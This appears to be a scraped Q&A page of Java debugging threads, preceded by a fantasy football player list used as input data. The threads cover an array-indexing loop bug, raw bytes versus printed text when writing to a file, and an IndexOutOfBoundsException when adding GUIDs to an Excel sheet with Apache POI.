Kelvin Benjamin 18
T.Y. Hilton 17
Emmanuel Sanders 17
Marvin Jones 15
Rishard Matthews 14
Pierre Garcon 14
Cooper Kupp 14
Sterling Shepard 14
Paul Richardson 11
Danny Amendola 10Le’Veon Bell 70
Kareem Hunt 63
Todd Gurley 63
Leonard Fournette 60
Melvin Gordon 60
LeSean McCoy 60
Mark Ingram 50
Devonta Freeman 50
Jordan Howard 50
Lamar Miller 41
Doug Martin 34
Carlos Hyde 34
Aaron Jones 27
Alvin Kamara 27
Jerick McKinnon 24
DeMarco Murray 21
Chris Thompson 21
Jay Ajayi 21
Joe Mixon 18
C.J. Anderson 17
Tevin Coleman 17
Christian McCaffrey 17
Derrick Henry 16
Alex Collins 16
Dion Lewis 15
Adrian Peterson 13
Duke Johnson 12
Marshawn Lynch 11
Ameer Abdullah 10
Bilal Powell 9
LeGarrette Blount 9
Marlon Mack 9
James White 8
Ezekiel Elliott 7
Latavius Murray 7
Frank Gore 7
Isaiah Crowell 7
Orleans Darkwa 7
Kenyan Drake 5
Matt Forte 5
Darren McFadden 5
Alfred Morris 5
Damien Williams 3
Tarik Cohen 3
Jonathan Stewart 3
Robert Kelley 3
Danny Woodhead 3
Ty Montgomery 2
Javorius Allen 2
Mike Gillislee 2
Thomas Rawls 2
Theo Riddick 2
DeAndre Washington 2
Eddie Lacy 2
Giovani Bernard 2
Andre Ellington 2
Austin Ekeler 2
Jalen Richard 2
Ted Ginn 10
Robby Anderson 10
Jermaine Kearse 9
Davante Adams 9
Kenny Stills 9
Sammy Watkins 9
Marqise Lee 5
Mohamed Sanu 5
Allen Hurns 5
Josh Doctson 5
Jamison Crowder 4
Jeremy Maclin 3
Randall Cobb 3
Tyrell Williams 3
Robert Woods 3
Corey Davis 3
Jordan Matthews 3
Tyler Lockett 3
John Brown 2
Willie Snead 2
Donte Moncrief 2
Deshaun Watson 31
Dak Prescott 26
Tom Brady 24
Russell Wilson 22
Drew Brees 22
Carson Wentz 20
Alex Smith 14
Kirk Cousins 13
Matthew Stafford 11
Marcus Mariota 11
Tyrod Taylor 11
Cam Newton 11
Matt Ryan 11
Philip Rivers 8
having some problems been looking all over for answers. I found out my for loop iteration is incorrect it prints the series:0,1,2,10 etc. I was wondering if someone can point out my flaw, so I can fix this. I apprectiate anyone reading this, and appolgozie for the length of code. But just wanted to include everything so I don't miss anything. FOR LOOP LINE 87 thanks again, sincerely java noob
CODE
package trades;
import java.io.BufferedReader;
import java.io.File;
import java.io.FileReader;
import java.util.ArrayList;
import java.util.Scanner;
import java.util.regex.*;
public class Fantasy {
public static void main(String[] args) {
int[] playerRanking = new int[75];
String infoComingIn = null;
//Finding file path
String filename = "C:\\Users\\Karanvir\\Desktop\\21days\\players.txt";
File filez = new File(filename);
BufferedReader br;
String[] playerNames = new String[75];
int counterOfReadLines = 0;
Pattern p = Pattern.compile("[0-9]{2,3}");
ArrayList<Integer> arrayList = new ArrayList<Integer>();
try {
br = new BufferedReader(new FileReader(filez));
playerNames[counterOfReadLines] = br.readLine();
while (br.readLine() != null) {
counterOfReadLines = counterOfReadLines + 1;
playerNames[counterOfReadLines] = br.readLine();
System.out.println(playerNames[counterOfReadLines - 1]);
}
br.close();
for (int i = 0; i < playerNames.length; i++) {
Matcher m = p.matcher(playerNames[i]);
if (m.find()) {
String matched = m.group(0);
int addToArray = Integer.parseInt(matched);
playerRanking[i] = addToArray;
System.out.println(i);
}
}
} catch (Exception e) {}
}
}
Okay, so by seeing the post, I can point out only one issue. Since you are incrementing counterOfReadLines variable before the line
playerNames[counterOfReadLines] = br.readLine();
so what happens is playerNames is initializing with the array of index 1 not 0 and when you are trying to call the loop below:-
for (int i = 0; i < playerNames.length; i++) {
Matcher m = p.matcher(playerNames[i]);
if (m.find()) {
String matched = m.group(0);
int addToArray = Integer.parseInt(matched);
playerRanking[i] = addToArray;
System.out.println(i);
}
it is incrementing with 0. So either start it from i=1 or increment the counterOfReadLines after the line
playerNames[counterOfReadLines] = br.readLine();
so your error will go away...! if not let me know... :) !

Different data when printing and writing to file

There is a stream of data which is sent from server. I need to store this byte stream into a file. The problem is the data which I output to console and the one which I store in a file are different. Seems like there is a change in format of data when I stored in a file.
Here is the program:
try
{
System.out.println("My Address is "+serverSocket.getLocalSocketAddress());
Socket server = serverSocket.accept(); // return a new socket
System.out.println("Connected to client "+server.getRemoteSocketAddress());
inputStream = server.getInputStream();
in = new DataInputStream(inputStream);
out = new FileOutputStream("output.txt");
ArrayList<Byte> bytes = new ArrayList<Byte>();
int curi;
byte cur;
byte[] curBytes = null;
int length = 0;
System.out.println("Before while loop");
while((curi = in.read())!=-1 && count!=500)
{
System.out.println(count+" Reading some data");
//out.write(curi);
cur = (byte)curi;
bytes.add(cur);
curBytes = getPrimativeArray(bytes);
String curBytesString = new String(curBytes, "UTF-8");
count++;
}
int i=0;
for(byte b : bytes)
{
System.out.print(b+" ");
curBytes[i] = b;
i++;
}
out.write(curBytes);
server.close();
}
catch(IOException e)
{
e.printStackTrace();
}
What I print using System.out.print(b+" "); and the one I store in curBytes[] are the same thing. But when I compare the console and file output, they are different.
Console output: 0 0 113 -100 -126 -54 0 32 14 1 0 0 1 -58 60 54 0 3 63 -2 85 74 -81 -88 0 9 1 24 85 74 -81 -48 0 13 65 -113 85 74 -81 -88 0 12 125 -126 85 74 -81 -88 0 13 21 97 85 74 -81 -88 0 13 31 19 85 74 -81 -48 0 13 42 24 0 6 0 0 0 0 0 0 0 0 0 0 32 0 7 -100 0 -5 6 -128 0 -56 29 -127 23 112 -1 -1 0 0 64 0 1 -121 28 115 105 112 58 43 49 52 50 50 50 48 57 57 57 49 53 64 111 110 101 46 97 116 116 46 110 101 116 28 115 105 112 58 43 49 52 50 50 50 48 57 57 57 54 53 64 111 110 101 46 97 116 116 46 110 101 116 37 50 57 54 53 45 49 53 48 53 48 54 50 51 50 55 48 50 45 50 48 53 48 54 54 50 55 54 54 64 48 48 55 56 48 48 49 49 16 32 1 5 6 64 0 0 0 32 16 0 0 0 120 0 17 16 32 1 24 -112 16 1 46 2 0 0 0 0 0 0 0 6 1 -113 0 4 0 33 -64 -42 0 91 5 8 0 9 0 -56 0 0 0 15 3 85 74 -81 -88 0 12 -120 -28 8 0 9 0 -56 0 0 0 15 3 85 74 -81 -88 0 12 -44 -39 8 0 4 0 -56 0 0 1 11 3 85 74 -81 -88 0 9 1 24 8 0 5 0 0 0 0 0 0 3 85 74 -81 -88 0 13 31 19 8 0 1 0 -56 0 0 0 6 3 85 74 -81 -48 0 13 42 24 -64 34 4 24 9 89 83 73 80 47 50 46 48 47 84 67 80 32 91 50 48 48 49 58 53 48 54 58 52 48 48 48 58 48 58 50 48 49 48 58 48 58 55 56 58 49 49 93 58 49 51 55 48 59 98 114 97 110 99 104 61 122 57 104 71 52 98 75 50 57 48 45 48 48 55 56 48 48 49 49 45 48 48 48 102 45 52 52 49 57 55 49 52 48 51 3 85 74 -81 -88 0 12 -120 -28 127 83 73 80 47 50 46 48 47 84 67 80 32 91 50 48 48 49 58 53 48 54 58 52 48 48 48 58 48 58 50 48 49 48 58 48 58 55 56 58 49 49 93 58 49 51 55 48 59 114 101 99 101 105 118 101 100 61 50 48 48 49
File Output: ^#^#q<9c><82>Ê^# ^N^A^#^#^AÆ<6^#^C?þUJ¯¨^# ^A^XUJ¯Ð^#^MA<8f>UJ¯¨^#^L}<82>UJ¯¨^#^M^UaUJ¯¨^#^M^_^SUJ¯Ð^#^M*^X^#^F^#^#^#^#^#^#^#^#^#^# ^#^G<9c>^#û^F<80>^#È^]<81>^Wpÿÿ^#^##^#^A<87>^\sip:+14222099915#one.att.net^\sip:+14222099965#one.att.net%2965-150506232702-2050662766#00780011^P ^A^E^F#^#^#^# ^P^#^#^#x^#^Q^P ^A^X<90>^P^A.^B^#^#^#^#^#^#^#^F^A<8f>^#^D^#!ÀÖ^#[^E^H^# ^#È^#^#^#^O^CUJ¯¨^#^L<88>ä^H^# ^#È^#^#^#^O^CUJ¯¨^#^LÔÙ^H^#^D^#È^#^#^A^K^CUJ¯¨^# ^A^X^H^#^E^#^#^#^#^#^#^CUJ¯¨^#^M^_^S^H^#^A^#È^#^#^#^F^CUJ¯Ð^#^M*^XÀ"^D^X YSIP/2.0/TCP [2001:506:4000:0:2010:0:78:11]:1370;branch=z9hG4bK290-00780011-000f-441971403^CUJ¯¨^#^L<88>ä^?SIP/2.0/TCP [2001:506:4000:0:2010:0:78:11]:1370;received=2001
Please let me know at what step I'm making a mistake.
The other answers here tell you to use a PrintWriter or a FileWriter instead of the FileOutputStream but I'm fairly sure that this is not what you want.
Your problem is that you're writing raw bytes to a file and then reading it back as characters and comparing that to byte values represented as characters and then printed with System.out.
Let's take a look at what happens when you print a byte with the value 65 (or 01000001 in binary).
When you use System.out.print you will invoke PrintStream.print(int) with the integer value of 65 which will in turn print the characters 6 and 5 to the terminal.
When you use out.write you will invoke FileOutputStream.write(byte[]) which will write the bits 01000001 to the file.
Later, when you check the contents of the file your tool will try to interpret this byte as a character and it will most likely use the ASCII encoding to do so (even if you're using Unicode as your default encoding this is likely what will happen since Unicode is a superset of ASCII). This results in the character A being printed.
If you want to view the output file in a way similar to what you've printed with System.out.print you can use the following command on linux:
$ hexdump -e '/1 "%i "' <file>
Example:
$ cat /etc/issue
Ubuntu 12.04.5 LTS \n \l
$ hexdump -e '/1 "%i "' /etc/issue
85 98 117 110 116 117 32 49 50 46 48 52 46 53 32 76 84 83 32 92 110 32
92 108 10 *
My first answer was wrong, so I am editing this because I made the assumption that you could write out a string to the FileOutputStream, but I don't think that is the case. FileOutputStream is only used for byte streams, so you've got to stick to that format when writing out to the file.
If you hold the data in a buffer[array], and then write those bytes out to a file that you have created using the output stream, it should work. I found this document that might be helpful.
The main idea is that somewhere in your code, the byte array isn't getting written to the file correctly. Perhaps its just a matter of adding the close() method.
out.close();
server.close();
reading and writing files in java
Here is the section I found useful.
import java.io.*;
public class Test {
public static void main(String [] args) {
// The name of the file to create.
String fileName = "temp.txt";
try {
// Put some bytes in a buffer so we can
// write them. Usually this would be
// image data or something. Or it might
// be unicode text.
String bytes = "Hello theren";
byte[] buffer = bytes.getBytes();
FileOutputStream outputStream =
new FileOutputStream(fileName);
// write() writes as many bytes from the buffer
// as the length of the buffer. You can also
// use
// write(buffer, offset, length)
// if you want to write a specific number of
// bytes, or only part of the buffer.
outputStream.write(buffer);
// Always close files.
outputStream.close();
System.out.println("Wrote " + buffer.length +
" bytes");
}
catch(IOException ex) {
System.out.println(
"Error writing file '"
+ fileName + "'");
// Or we could just do this:
// ex.printStackTrace();
}
}
}
The console (System.out) is a PrintWriter, while the file output is a FileOutputStream.
The basic difference between Stream and Writer: Streams are supposed to manipulate "raw data", like numbers taken directly from binary format, while writers are used to manipulate "human-readable data", transforming all the data you write.
For example, the 6 int is different from the 6 character. When you use a stream, you write directly the int, while with a writer, the data wrriten is transformed into the character.
Then, if you want your file output to be the same as your console output, do not use FileOutputStream, but instead, use FileWriter, and it's method write(String).
How to make this work:
1 - replace out = new FileOutputStream("output.txt"); by out = new FileWriter("output.txt");
2 - replace out.write(curBytes); by:
for (byte b : curBytes) {
out.write(b + " ");
}
I would suggest you use IOUtils.copy and use a BufferedReader
to wrap your InputStream.
The output stream should obviously be FileOutputStream
I hope this helps

Index out of bounds exception: getting same row repeated several times

This is my code which I use to take in an Excel sheet, read its contents and to each row I add a GUID from a list I have.
UPDATE
Code:
public class PublishOutputFile {
public void publishOutputWithGuids(List<String> guids, File file)
throws Exception {
FileInputStream fileStream = new FileInputStream(file);
HSSFWorkbook workbook = new HSSFWorkbook(fileStream);
HSSFSheet sheet = workbook.getSheetAt(0);
Row toprow = sheet.getRow(0);
int cellsNum = toprow.getLastCellNum();
Iterator<Row> rowIterator = sheet.iterator();
while (rowIterator.hasNext()) {
Row row = rowIterator.next();
int rownum = row.getRowNum();
System.out.println(rownum);
Iterator<Cell> cellIterator = row.cellIterator();
while (cellIterator.hasNext()) {
Cell cell = cellIterator.next();
switch (cell.getCellType()) {
case Cell.CELL_TYPE_BOOLEAN:
break;
case Cell.CELL_TYPE_NUMERIC:
break;
case Cell.CELL_TYPE_STRING:
break;
}
if (rownum == 0) {
row.createCell(cellsNum).setCellValue("GUID");
} else {
// System.out.println(rownum);
row.createCell(cellsNum).setCellValue(guids.get(rownum-1));
}
}
}
fileStream.close();
FileOutputStream out = new FileOutputStream(
new File(
"C:/Users/U0172959/Desktop/Themes_20131120_234645-hierarchy with GUIDS.xls"));
workbook.write(out);
out.close();
}
}
UPDATE Output:
0
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
Exception in thread "main" java.lang.IndexOutOfBoundsException: Index: 286, Size: 286
at java.util.ArrayList.rangeCheck(Unknown Source)
at java.util.ArrayList.get(Unknown Source)
at mappingForEtl.PublishOutputFile.publishOutputWithGuids(PublishOutputFile.java:43)
at mappingForEtl.InputFileParsing.main(InputFileParsing.java:75)
In the output, every row is being repeated like 5 times and I think this is what causes the out of bounds exception. But I can't figure out what's causing this to happen.
(I have used the same code for a different file yesterday, and that worked fine... ) Can it have anything to do with the number of columns in the excel sheet I take as input. The one I used yesterday had 8 columns, the one I am using now has 20.
Anyone has any idea what might be causing this? Thanks for help.
You are iterating over the cells within a row and for each cell you print the row number. Are you very sure that the data you print the right values in your else case?
if (row.getRowNum() == 0) {
row.createCell(cellsNum).setCellValue("GUID");
} else {
System.out.println((row.getRowNum())); // row number for each cell?
row.createCell(cellsNum).setCellValue(guids.get((row.getRowNum())));
}
Update:
The problem with the repeated output is that you have a loop over your rows. Each row consists of a number of cells. You loop over the cells as well. The repeated output comes from the fact, that while you loop through the cells in the row, the row does not change.
For better understanding, you should change your output to that:
System.out.println("Being at row: " + row.getRowNum() + " creating cell at cellnum: " + cellsNum);
That should clean up the understanding of what is going on.
Update 2:
The IndexOutOfBoundsException is thrown because the size of guid is 286 but the index is zero based and does not start by 1. As you tread the first row different, you should change guids.get(row.getRowNum()) to guids.get(row.getRowNum() - 1). That can work but it does not have to. As long as we don't know the detailed data structure, it might be of no value for you...
About the Exception
You may have accidentaly created some new Row (probably blank) and there is no GUID on your List for that Row. That could cause this Exception.
Maybe this addition helps you:
while (rowIterator.hasNext()) {
Row row = rowIterator.next();
if (row.getLastCellNum() < cellsNum)
continue;
About the repeated output
You are iterating over each row, and then iterating over each cell, and then printing the row number. Considering a row has 4 cells, this would end up printing the Row number 4 times.
The problem is here:
} else {
row.createCell(cellsNum).setCellValue(
guids.get((row.getRowNum())));
}
Your guids.get is throwing the exception since it doesn't contain an element at index 286.
Solution: retrieve the element at index in row.getRowNum - 1, so you will now retrieve elements from 0 to 285:
} else {
row.createCell(cellsNum).setCellValue(
guids.get((row.getRowNum() - 1)));
}
Update:
Since it looks you're not trying to solve the IndexOutOfBoundsException (very odd) but more about why the numbers are printed 4 to 5 times, then review your current algorithm:
Iterator<Row> rowIterator = sheet.iterator();
//verify if there's a row to read in the current Excel sheet
while (rowIterator.hasNext()) {
//get the row
Row row = rowIterator.next();
//get an iterator of the cells
Iterator<Cell> cellIterator = row.cellIterator();
//while there's a cell to read...
while (cellIterator.hasNext()) {
//get the cell
//note: if the cell is empty, it won't be considered by the CellIterator, so even
//if you open the file and see 20 cells, this Iterator will seek for cells with some value
//from your current output, this looks to be only 5 cells
Cell cell = cellIterator.next();
//verify the type of the cell...
switch (cell.getCellType()) {
case Cell.CELL_TYPE_BOOLEAN:
//do nothing?
break;
case Cell.CELL_TYPE_NUMERIC:
//do nothing?
break;
case Cell.CELL_TYPE_STRING:
//do nothing?
break;
}
if (row.getRowNum() == 0) {
row.createCell(cellsNum).setCellValue("GUID");
} else {
//prints the number of the row (per cell)
//this causes the 1\n1\n1\n1\n2\n2\n... output
System.out.println((row.getRowNum()));
//writes the element in guids at index of row num
row.createCell(cellsNum).setCellValue(
//guids.get((row.getRowNum())));
guids.get((row.getRowNum() - 1)));
}
}
}

Categories